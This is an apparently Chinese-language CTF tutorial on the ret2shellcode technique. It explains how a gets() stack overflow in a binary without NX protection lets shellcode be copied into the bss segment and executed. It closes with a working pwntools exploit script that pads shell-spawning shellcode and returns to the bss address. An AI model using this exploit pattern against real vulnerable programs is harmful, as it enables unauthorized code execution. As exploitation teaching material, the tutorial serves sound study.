原理¶
ret2shellcode需要我们控制程序执行shellcode代码。而所谓的shellcode指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的shell。一般来说,shellcode都需要我们自己去填充。这其实是另外一种典型的利用的方法,即此时我们需要自己去填充一些可执行的代码。
而在栈溢出的基础上,我们一般都是向栈中写内容,所以要想执行shellcode,需要对应的binary文件没有开启NX保护。
实际利用过程
运行下这个程序发现,只有简单的输入
检查程序的安全保护措施,发现NX没有开启,也就是说栈中的数据有执行的权限哈,可以往栈中写数据。
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
放到ida里看一下
gets((char *)&v4);存在明显的栈溢出漏洞
strncpy(buf2, (const char *)&v4, 0x64u);
把用户的输入复制到buf2中。
分析可知,buf2是bss段。BSS(Block Started by Symbol)通常是指用来存放程序中未初始化的全局变量和静态变量的一块内存区域。特点是:可读写的,在程序执行之前BSS段会自动清0。所以,未初始的全局变量在程序执行之前已经成0了。
控制程序执行shellcode,也就是读入shellcode,然后控制程序执行bss段处的shellcode。
附exp:
from pwn import *
context.binary='./ret2shellcode'
p=process('./ret2shellcode')
shellcode=asm(shellcraft.sh())
buf_2=0x0804a080
p.sendline(shellcode.ljust(112,'a')+p32(buf_2))
p.interactive()